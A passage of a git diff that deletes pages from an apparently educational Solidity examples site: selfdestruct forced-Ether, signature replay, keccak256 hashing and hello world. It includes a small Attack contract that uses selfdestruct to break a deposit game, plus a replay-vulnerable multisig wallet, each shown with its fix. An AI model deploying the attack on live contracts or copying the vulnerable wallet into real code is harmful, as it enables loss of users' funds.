"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEV0aGVyR2FtZSB7CiAgICB1aW50IHB1YmxpYyB0YXJnZXRBbW91bnQgPSAzIGV0aGVyOwogICAgdWludCBwdWJsaWMgYmFsYW5jZTsKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID09IDEgZXRoZXIsICJZb3UgY2FuIG9ubHkgc2VuZCAxIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgKz0gbXNnLnZhbHVlOwogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA8PSB0YXJnZXRBbW91bnQsICJHYW1lIGlzIG92ZXIiKTsKCiAgICAgICAgaWYgKGJhbGFuY2UgPT0gdGFyZ2V0QW1vdW50KSB7CiAgICAgICAgICAgIHdpbm5lciA9IG1zZy5zZW5kZXI7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltUmV3YXJkKCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gd2lubmVyLCAiTm90IHdpbm5lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCApID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBiYWxhbmNlfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo=", - }, -] - -const html = `

Contracts can be deleted from the blockchain by calling selfdestruct.

-

selfdestruct sends all remaining Ether stored in the contract to a -designated address.

-

Vulnerability

-

A malicious contract can use selfdestruct to -force sending Ether to any contract.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-// The goal of this game is to be the 7th player to deposit 1 Ether.
-// Players can deposit only 1 Ether at a time.
-// Winner will be able to withdraw all Ether.
-
-/*
-1. Deploy EtherGame
-2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
-2. Deploy Attack with address of EtherGame
-3. Call Attack.attack sending 5 ether. This will break the game
-   No one can become the winner.
-
-What happened?
-Attack forced the balance of EtherGame to equal 7 ether.
-Now no one can deposit and the winner cannot be set.
-*/
-
-contract EtherGame {
-    uint public targetAmount = 7 ether;
-    address public winner;
-
-    function deposit() public payable {
-        require(msg.value == 1 ether, "You can only send 1 Ether");
-
-        uint balance = address(this).balance;
-        require(balance <= targetAmount, "Game is over");
-
-        if (balance == targetAmount) {
-            winner = msg.sender;
-        }
-    }
-
-    function claimReward() public {
-        require(msg.sender == winner, "Not winner");
-
-        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
-        require(sent, "Failed to send Ether");
-    }
-}
-
-contract Attack {
-    EtherGame etherGame;
-
-    constructor(EtherGame _etherGame) {
-        etherGame = EtherGame(_etherGame);
-    }
-
-    function attack() public payable {
-        // You can simply break the game by sending ether so that
-        // the game balance >= 7 ether
-
-        // cast address to payable
-        address payable addr = payable(address(etherGame));
-        selfdestruct(addr);
-    }
-}
-

Preventative Techniques

-

Don't rely on address(this).balance

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract EtherGame {
-    uint public targetAmount = 3 ether;
-    uint public balance;
-    address public winner;
-
-    function deposit() public payable {
-        require(msg.value == 1 ether, "You can only send 1 Ether");
-
-        balance += msg.value;
-        require(balance <= targetAmount, "Game is over");
-
-        if (balance == targetAmount) {
-            winner = msg.sender;
-        }
-    }
-
-    function claimReward() public {
-        require(msg.sender == winner, "Not winner");
-
-        (bool sent, ) = msg.sender.call{value: balance}("");
-        require(sent, "Failed to send Ether");
-    }
-}
-
` - -export default html diff --git a/src/pages/hacks/self-destruct/index.md b/src/pages/hacks/self-destruct/index.md deleted file mode 100644 index ebdf11126..000000000 --- a/src/pages/hacks/self-destruct/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Self Destruct -version: 0.8.20 -description: An example of how to delete your smart contract by calling seldestruct in Solidity -keywords: [hack, security, selfdestruct] ---- - -Contracts can be deleted from the blockchain by calling `selfdestruct`. - -`selfdestruct` sends all remaining Ether stored in the contract to a -designated address. - -### Vulnerability - -A malicious contract can use `selfdestruct` to -force sending Ether to any contract. - -```solidity -{{{ForceEther}}} -``` - -### Preventative Techniques - -Don't rely on `address(this).balance` - -```solidity -{{{PreventForceEther}}} -``` diff --git a/src/pages/hacks/self-destruct/index.tsx b/src/pages/hacks/self-destruct/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/hacks/self-destruct/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hacks/signature-replay/PreventSigReplay.sol b/src/pages/hacks/signature-replay/PreventSigReplay.sol deleted file mode 100644 index 61cc3b027..000000000 --- a/src/pages/hacks/signature-replay/PreventSigReplay.sol +++ /dev/null @@ -1,78 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol"; - -contract MultiSigWallet { - using ECDSA for bytes32; - - address[2] public owners; - mapping(bytes32 => bool) public executed; - - constructor(address[2] memory _owners) payable { - owners = _owners; - } - - function deposit() external payable {} - - function transfer( - address _to, - uint _amount, - uint _nonce, - bytes[2] memory _sigs - ) external { - bytes32 txHash = getTxHash(_to, _amount, _nonce); - require(!executed[txHash], "tx executed"); - require(_checkSigs(_sigs, txHash), "invalid sig"); - - executed[txHash] = true; - - (bool sent, ) = _to.call{value: _amount}(""); - require(sent, "Failed to send Ether"); - } - - function getTxHash( - address _to, - uint _amount, - uint _nonce - ) public view returns (bytes32) { - return keccak256(abi.encodePacked(address(this), _to, _amount, _nonce)); - } - - function _checkSigs( - bytes[2] memory _sigs, - bytes32 _txHash - ) private view returns (bool) { - bytes32 ethSignedHash = _txHash.toEthSignedMessageHash(); - - for (uint i = 0; i < _sigs.length; i++) { - address signer = ethSignedHash.recover(_sigs[i]); - bool valid = signer == owners[i]; - - if (!valid) { - return false; - } - } - - return true; - } -} - -/* -// owners -0xe19aea93F6C1dBef6A3776848bE099A7c3253ac8 -0xfa854FE5339843b3e9Bfd8554B38BD042A42e340 - -// to -0xe10422cc61030C8B3dBCD36c7e7e8EC3B527E0Ac -// amount -100 -// nonce -0 -// tx hash -0x12a095462ebfca27dc4d99feef885bfe58344fb6bb42c3c52a7c0d6836d11448 - -// signatures -0x120f8ed8f2fa55498f2ef0a22f26e39b9b51ed29cc93fe0ef3ed1756f58fad0c6eb5a1d6f3671f8d5163639fdc40bb8720de6d8f2523077ad6d1138a60923b801c -0xa240a487de1eb5bb971e920cb0677a47ddc6421e38f7b048f8aa88266b2c884a10455a52dc76a203a1a9a953418469f9eec2c59e87201bbc8db0e4d9796935cb1b -*/ diff --git a/src/pages/hacks/signature-replay/SigReplay.sol b/src/pages/hacks/signature-replay/SigReplay.sol deleted file mode 100644 index 6e8adfc6f..000000000 --- a/src/pages/hacks/signature-replay/SigReplay.sol +++ /dev/null @@ -1,46 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol"; - -contract MultiSigWallet { - using ECDSA for bytes32; - - address[2] public owners; - - constructor(address[2] memory _owners) payable { - owners = _owners; - } - - function deposit() external payable {} - - function transfer(address _to, uint _amount, bytes[2] memory _sigs) external { - bytes32 txHash = getTxHash(_to, _amount); - require(_checkSigs(_sigs, txHash), "invalid sig"); - - (bool sent, ) = _to.call{value: _amount}(""); - require(sent, "Failed to send Ether"); - } - - function getTxHash(address _to, uint _amount) public view returns (bytes32) { - return keccak256(abi.encodePacked(_to, _amount)); - } - - function _checkSigs( - bytes[2] memory _sigs, - bytes32 _txHash - ) private view returns (bool) { - bytes32 ethSignedHash = _txHash.toEthSignedMessageHash(); - - for (uint i = 0; i < _sigs.length; i++) { - address signer = ethSignedHash.recover(_sigs[i]); - bool valid = signer == owners[i]; - - if (!valid) { - return false; - } - } - - return true; - } -} diff --git a/src/pages/hacks/signature-replay/index.html.ts b/src/pages/hacks/signature-replay/index.html.ts deleted file mode 100644 index 2f2966065..000000000 --- a/src/pages/hacks/signature-replay/index.html.ts +++ /dev/null @@ -1,158 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Signature Replay" -export const description = - "An example of a contract vulnerable to signature replay attack" - -export const keywords = ["hack", "security", "cryptography", "signature", "replay"] - -export const codes = [ - { - fileName: "PreventSigReplay.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZ2l0aHViLmNvbS9PcGVuWmVwcGVsaW4vb3BlbnplcHBlbGluLWNvbnRyYWN0cy9ibG9iL3JlbGVhc2UtdjQuNS9jb250cmFjdHMvdXRpbHMvY3J5cHRvZ3JhcGh5L0VDRFNBLnNvbCI7Cgpjb250cmFjdCBNdWx0aVNpZ1dhbGxldCB7CiAgICB1c2luZyBFQ0RTQSBmb3IgYnl0ZXMzMjsKCiAgICBhZGRyZXNzWzJdIHB1YmxpYyBvd25lcnM7CiAgICBtYXBwaW5nKGJ5dGVzMzIgPT4gYm9vbCkgcHVibGljIGV4ZWN1dGVkOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbMl0gbWVtb3J5IF9vd25lcnMpIHBheWFibGUgewogICAgICAgIG93bmVycyA9IF9vd25lcnM7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcigKICAgICAgICBhZGRyZXNzIF90bywKICAgICAgICB1aW50IF9hbW91bnQsCiAgICAgICAgdWludCBfbm9uY2UsCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWdzCiAgICApIGV4dGVybmFsIHsKICAgICAgICBieXRlczMyIHR4SGFzaCA9IGdldFR4SGFzaChfdG8sIF9hbW91bnQsIF9ub25jZSk7CiAgICAgICAgcmVxdWlyZSghZXhlY3V0ZWRbdHhIYXNoXSwgInR4IGV4ZWN1dGVkIik7CiAgICAgICAgcmVxdWlyZShfY2hlY2tTaWdzKF9zaWdzLCB0eEhhc2gpLCAiaW52YWxpZCBzaWciKTsKCiAgICAgICAgZXhlY3V0ZWRbdHhIYXNoXSA9IHRydWU7CgogICAgICAgIChib29sIHNlbnQsICkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VHhIYXNoKAogICAgICAgIGFkZHJlc3MgX3RvLAogICAgICAgIHVpbnQgX2Ftb3VudCwKICAgICAgICB1aW50IF9ub25jZQogICAgKSBwdWJsaWMgdmlldyByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGFkZHJlc3ModGhpcyksIF90bywgX2Ftb3VudCwgX25vbmNlKSk7CiAgICB9CgogICAgZnVuY3Rpb24gX2NoZWNrU2lncygKICAgICAgICBieXRlc1syXSBtZW1vcnkgX3NpZ3MsCiAgICAgICAgYnl0ZXMzMiBfdHhIYXNoCiAgICApIHByaXZhdGUgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRIYXNoID0gX3R4SGFzaC50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CgogICAgICAgIGZvciAodWludCBpID0gMDsgaSA8IF9zaWdzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZXRoU2lnbmVkSGFzaC5yZWNvdmVyKF9zaWdzW2ldKTsKICAgICAgICAgICAgYm9vbCB2YWxpZCA9IHNpZ25lciA9PSBvd25lcnNbaV07CgogICAgICAgICAgICBpZiAoIXZhbGlkKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CgovKgovLyBvd25lcnMKMHhlMTlhZWE5M0Y2QzFkQmVmNkEzNzc2ODQ4YkUwOTlBN2MzMjUzYWM4CjB4ZmE4NTRGRTUzMzk4NDNiM2U5QmZkODU1NEIzOEJEMDQyQTQyZTM0MAoKLy8gdG8KMHhlMTA0MjJjYzYxMDMwQzhCM2RCQ0QzNmM3ZTdlOEVDM0I1MjdFMEFjCi8vIGFtb3VudAoxMDAKLy8gbm9uY2UKMAovLyB0eCBoYXNoCjB4MTJhMDk1NDYyZWJmY2EyN2RjNGQ5OWZlZWY4ODViZmU1ODM0NGZiNmJiNDJjM2M1MmE3YzBkNjgzNmQxMTQ0OAoKLy8gc2lnbmF0dXJlcwoweDEyMGY4ZWQ4ZjJmYTU1NDk4ZjJlZjBhMjJmMjZlMzliOWI1MWVkMjljYzkzZmUwZWYzZWQxNzU2ZjU4ZmFkMGM2ZWI1YTFkNmYzNjcxZjhkNTE2MzYzOWZkYzQwYmI4NzIwZGU2ZDhmMjUyMzA3N2FkNmQxMTM4YTYwOTIzYjgwMWMKMHhhMjQwYTQ4N2RlMWViNWJiOTcxZTkyMGNiMDY3N2E0N2RkYzY0MjFlMzhmN2IwNDhmOGFhODgyNjZiMmM4ODRhMTA0NTVhNTJkYzc2YTIwM2ExYTlhOTUzNDE4NDY5ZjllZWMyYzU5ZTg3MjAxYmJjOGRiMGU0ZDk3OTY5MzVjYjFiCiovCg==", - }, - { - fileName: "SigReplay.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZ2l0aHViLmNvbS9PcGVuWmVwcGVsaW4vb3BlbnplcHBlbGluLWNvbnRyYWN0cy9ibG9iL3JlbGVhc2UtdjQuNS9jb250cmFjdHMvdXRpbHMvY3J5cHRvZ3JhcGh5L0VDRFNBLnNvbCI7Cgpjb250cmFjdCBNdWx0aVNpZ1dhbGxldCB7CiAgICB1c2luZyBFQ0RTQSBmb3IgYnl0ZXMzMjsKCiAgICBhZGRyZXNzWzJdIHB1YmxpYyBvd25lcnM7CgogICAgY29uc3RydWN0b3IoYWRkcmVzc1syXSBtZW1vcnkgX293bmVycykgcGF5YWJsZSB7CiAgICAgICAgb3duZXJzID0gX293bmVyczsKICAgIH0KCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgX3RvLCB1aW50IF9hbW91bnQsIGJ5dGVzWzJdIG1lbW9yeSBfc2lncykgZXh0ZXJuYWwgewogICAgICAgIGJ5dGVzMzIgdHhIYXNoID0gZ2V0VHhIYXNoKF90bywgX2Ftb3VudCk7CiAgICAgICAgcmVxdWlyZShfY2hlY2tTaWdzKF9zaWdzLCB0eEhhc2gpLCAiaW52YWxpZCBzaWciKTsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUeEhhc2goYWRkcmVzcyBfdG8sIHVpbnQgX2Ftb3VudCkgcHVibGljIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfdG8sIF9hbW91bnQpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfY2hlY2tTaWdzKAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lncywKICAgICAgICBieXRlczMyIF90eEhhc2gKICAgICkgcHJpdmF0ZSB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICBieXRlczMyIGV0aFNpZ25lZEhhc2ggPSBfdHhIYXNoLnRvRXRoU2lnbmVkTWVzc2FnZUhhc2goKTsKCiAgICAgICAgZm9yICh1aW50IGkgPSAwOyBpIDwgX3NpZ3MubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYWRkcmVzcyBzaWduZXIgPSBldGhTaWduZWRIYXNoLnJlY292ZXIoX3NpZ3NbaV0pOwogICAgICAgICAgICBib29sIHZhbGlkID0gc2lnbmVyID09IG93bmVyc1tpXTsKCiAgICAgICAgICAgIGlmICghdmFsaWQpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9Cn0K", - }, -] - -const html = `

Signing messages off-chain and having a contract that requires that signature before executing -a function is a useful technique.

-

For example this technique is used to:

-
    -
  • reduce number of transaction on chain
  • -
  • gas-less transaction, called meta transaction
  • -
-

Vulnerability

-

Same signature can be used multiple times to execute a function. This can be harmful -if the signer's intention was to approve a transaction once.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";
-
-contract MultiSigWallet {
-    using ECDSA for bytes32;
-
-    address[2] public owners;
-
-    constructor(address[2] memory _owners) payable {
-        owners = _owners;
-    }
-
-    function deposit() external payable {}
-
-    function transfer(address _to, uint _amount, bytes[2] memory _sigs) external {
-        bytes32 txHash = getTxHash(_to, _amount);
-        require(_checkSigs(_sigs, txHash), "invalid sig");
-
-        (bool sent, ) = _to.call{value: _amount}("");
-        require(sent, "Failed to send Ether");
-    }
-
-    function getTxHash(address _to, uint _amount) public view returns (bytes32) {
-        return keccak256(abi.encodePacked(_to, _amount));
-    }
-
-    function _checkSigs(
-        bytes[2] memory _sigs,
-        bytes32 _txHash
-    ) private view returns (bool) {
-        bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();
-
-        for (uint i = 0; i < _sigs.length; i++) {
-            address signer = ethSignedHash.recover(_sigs[i]);
-            bool valid = signer == owners[i];
-
-            if (!valid) {
-                return false;
-            }
-        }
-
-        return true;
-    }
-}
-

Preventative Techniques

-

Sign messages with nonce and address of the contract.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";
-
-contract MultiSigWallet {
-    using ECDSA for bytes32;
-
-    address[2] public owners;
-    mapping(bytes32 => bool) public executed;
-
-    constructor(address[2] memory _owners) payable {
-        owners = _owners;
-    }
-
-    function deposit() external payable {}
-
-    function transfer(
-        address _to,
-        uint _amount,
-        uint _nonce,
-        bytes[2] memory _sigs
-    ) external {
-        bytes32 txHash = getTxHash(_to, _amount, _nonce);
-        require(!executed[txHash], "tx executed");
-        require(_checkSigs(_sigs, txHash), "invalid sig");
-
-        executed[txHash] = true;
-
-        (bool sent, ) = _to.call{value: _amount}("");
-        require(sent, "Failed to send Ether");
-    }
-
-    function getTxHash(
-        address _to,
-        uint _amount,
-        uint _nonce
-    ) public view returns (bytes32) {
-        return keccak256(abi.encodePacked(address(this), _to, _amount, _nonce));
-    }
-
-    function _checkSigs(
-        bytes[2] memory _sigs,
-        bytes32 _txHash
-    ) private view returns (bool) {
-        bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();
-
-        for (uint i = 0; i < _sigs.length; i++) {
-            address signer = ethSignedHash.recover(_sigs[i]);
-            bool valid = signer == owners[i];
-
-            if (!valid) {
-                return false;
-            }
-        }
-
-        return true;
-    }
-}
-
-/*
-// owners
-0xe19aea93F6C1dBef6A3776848bE099A7c3253ac8
-0xfa854FE5339843b3e9Bfd8554B38BD042A42e340
-
-// to
-0xe10422cc61030C8B3dBCD36c7e7e8EC3B527E0Ac
-// amount
-100
-// nonce
-0
-// tx hash
-0x12a095462ebfca27dc4d99feef885bfe58344fb6bb42c3c52a7c0d6836d11448
-
-// signatures
-0x120f8ed8f2fa55498f2ef0a22f26e39b9b51ed29cc93fe0ef3ed1756f58fad0c6eb5a1d6f3671f8d5163639fdc40bb8720de6d8f2523077ad6d1138a60923b801c
-0xa240a487de1eb5bb971e920cb0677a47ddc6421e38f7b048f8aa88266b2c884a10455a52dc76a203a1a9a953418469f9eec2c59e87201bbc8db0e4d9796935cb1b
-*/
-
` - -export default html diff --git a/src/pages/hacks/signature-replay/index.md b/src/pages/hacks/signature-replay/index.md deleted file mode 100644 index c66884fbe..000000000 --- a/src/pages/hacks/signature-replay/index.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Signature Replay -version: 0.8.20 -description: An example of a contract vulnerable to signature replay attack -keywords: [hack, security, cryptography, signature, replay] ---- - -Signing messages off-chain and having a contract that requires that signature before executing -a function is a useful technique. - -For example this technique is used to: - -- reduce number of transaction on chain -- gas-less transaction, called `meta transaction` - -### Vulnerability - -Same signature can be used multiple times to execute a function. This can be harmful -if the signer's intention was to approve a transaction once. - -```solidity -{{{SigReplay}}} -``` - -### Preventative Techniques - -Sign messages with `nonce` and address of the contract. - -```solidity -{{{PreventSigReplay}}} -``` diff --git a/src/pages/hacks/signature-replay/index.tsx b/src/pages/hacks/signature-replay/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/hacks/signature-replay/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hashing/Keccak256.sol b/src/pages/hashing/Keccak256.sol deleted file mode 100644 index 00dccbebd..000000000 --- a/src/pages/hashing/Keccak256.sol +++ /dev/null @@ -1,34 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract HashFunction { - function hash( - string memory _text, - uint _num, - address _addr - ) public pure returns (bytes32) { - return keccak256(abi.encodePacked(_text, _num, _addr)); - } - - // Example of hash collision - // Hash collision can occur when you pass more than one dynamic data type - // to abi.encodePacked. In such case, you should use abi.encode instead. - function collision( - string memory _text, - string memory _anotherText - ) public pure returns (bytes32) { - // encodePacked(AAA, BBB) -> AAABBB - // encodePacked(AA, ABBB) -> AAABBB - return keccak256(abi.encodePacked(_text, _anotherText)); - } -} - -contract GuessTheMagicWord { - bytes32 public answer = - 0x60298f78cc0b47170ba79c10aa3851d7648bd96f2f8e46a19dbc777c36fb0c00; - - // Magic word is "Solidity" - function guess(string memory _word) public view returns (bool) { - return keccak256(abi.encodePacked(_word)) == answer; - } -} diff --git a/src/pages/hashing/index.html.ts b/src/pages/hashing/index.html.ts deleted file mode 100644 index 1d2a44946..000000000 --- a/src/pages/hashing/index.html.ts +++ /dev/null @@ -1,65 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Hashing with Keccak256" -export const description = "Example of hashing using Keccak256 in Solidity" - -export const keywords = [ - "hash", - "hashing", - "function", - "functions", - "keccak256", - "cryptography", -] - -export const codes = [ - { - fileName: "Keccak256.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEhhc2hGdW5jdGlvbiB7CiAgICBmdW5jdGlvbiBoYXNoKAogICAgICAgIHN0cmluZyBtZW1vcnkgX3RleHQsCiAgICAgICAgdWludCBfbnVtLAogICAgICAgIGFkZHJlc3MgX2FkZHIKICAgICkgcHVibGljIHB1cmUgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfdGV4dCwgX251bSwgX2FkZHIpKTsKICAgIH0KCiAgICAvLyBFeGFtcGxlIG9mIGhhc2ggY29sbGlzaW9uCiAgICAvLyBIYXNoIGNvbGxpc2lvbiBjYW4gb2NjdXIgd2hlbiB5b3UgcGFzcyBtb3JlIHRoYW4gb25lIGR5bmFtaWMgZGF0YSB0eXBlCiAgICAvLyB0byBhYmkuZW5jb2RlUGFja2VkLiBJbiBzdWNoIGNhc2UsIHlvdSBzaG91bGQgdXNlIGFiaS5lbmNvZGUgaW5zdGVhZC4KICAgIGZ1bmN0aW9uIGNvbGxpc2lvbigKICAgICAgICBzdHJpbmcgbWVtb3J5IF90ZXh0LAogICAgICAgIHN0cmluZyBtZW1vcnkgX2Fub3RoZXJUZXh0CiAgICApIHB1YmxpYyBwdXJlIHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICAvLyBlbmNvZGVQYWNrZWQoQUFBLCBCQkIpIC0+IEFBQUJCQgogICAgICAgIC8vIGVuY29kZVBhY2tlZChBQSwgQUJCQikgLT4gQUFBQkJCCiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF90ZXh0LCBfYW5vdGhlclRleHQpKTsKICAgIH0KfQoKY29udHJhY3QgR3Vlc3NUaGVNYWdpY1dvcmQgewogICAgYnl0ZXMzMiBwdWJsaWMgYW5zd2VyID0KICAgICAgICAweDYwMjk4Zjc4Y2MwYjQ3MTcwYmE3OWMxMGFhMzg1MWQ3NjQ4YmQ5NmYyZjhlNDZhMTlkYmM3NzdjMzZmYjBjMDA7CgogICAgLy8gTWFnaWMgd29yZCBpcyAiU29saWRpdHkiCiAgICBmdW5jdGlvbiBndWVzcyhzdHJpbmcgbWVtb3J5IF93b3JkKSBwdWJsaWMgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF93b3JkKSkgPT0gYW5zd2VyOwogICAgfQp9Cg==", - }, -] - -const html = `

keccak256 computes the Keccak-256 hash of the input.

-

Some use cases are:

-
    -
  • Creating a deterministic unique ID from a input
  • -
  • Commit-Reveal scheme
  • -
  • Compact cryptographic signature (by signing the hash instead of a larger input)
  • -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract HashFunction {
-    function hash(
-        string memory _text,
-        uint _num,
-        address _addr
-    ) public pure returns (bytes32) {
-        return keccak256(abi.encodePacked(_text, _num, _addr));
-    }
-
-    // Example of hash collision
-    // Hash collision can occur when you pass more than one dynamic data type
-    // to abi.encodePacked. In such case, you should use abi.encode instead.
-    function collision(
-        string memory _text,
-        string memory _anotherText
-    ) public pure returns (bytes32) {
-        // encodePacked(AAA, BBB) -> AAABBB
-        // encodePacked(AA, ABBB) -> AAABBB
-        return keccak256(abi.encodePacked(_text, _anotherText));
-    }
-}
-
-contract GuessTheMagicWord {
-    bytes32 public answer =
-        0x60298f78cc0b47170ba79c10aa3851d7648bd96f2f8e46a19dbc777c36fb0c00;
-
-    // Magic word is "Solidity"
-    function guess(string memory _word) public view returns (bool) {
-        return keccak256(abi.encodePacked(_word)) == answer;
-    }
-}
-
` - -export default html diff --git a/src/pages/hashing/index.md b/src/pages/hashing/index.md deleted file mode 100644 index 82972f3f7..000000000 --- a/src/pages/hashing/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Hashing with Keccak256 -version: 0.8.20 -description: Example of hashing using Keccak256 in Solidity -keywords: [hash, hashing, function, functions, keccak256, cryptography] ---- - -`keccak256` computes the Keccak-256 hash of the input. - -Some use cases are: - -- Creating a deterministic unique ID from a input -- Commit-Reveal scheme -- Compact cryptographic signature (by signing the hash instead of a larger input) - -```solidity -{{{Keccak256}}} -``` diff --git a/src/pages/hashing/index.tsx b/src/pages/hashing/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/hashing/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hello-world/HelloWorld.sol b/src/pages/hello-world/HelloWorld.sol deleted file mode 100644 index b5138807d..000000000 --- a/src/pages/hello-world/HelloWorld.sol +++ /dev/null @@ -1,7 +0,0 @@ -// SPDX-License-Identifier: MIT -// compiler version must be greater than or equal to 0.8.20 and less than 0.9.0 -pragma solidity ^0.8.20; - -contract HelloWorld { - string public greet = "Hello World!"; -} diff --git a/src/pages/hello-world/index.html.ts b/src/pages/hello-world/index.html.ts deleted file mode 100644 index a5bd4c1f8..000000000 --- a/src/pages/hello-world/index.html.ts +++ /dev/null @@ -1,25 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Hello World" -export const description = "Hello world in Solidity" - -export const keywords = ["contract", "app", "application", "hello", "world"] - -export const codes = [ - { - fileName: "HelloWorld.sol", - code: 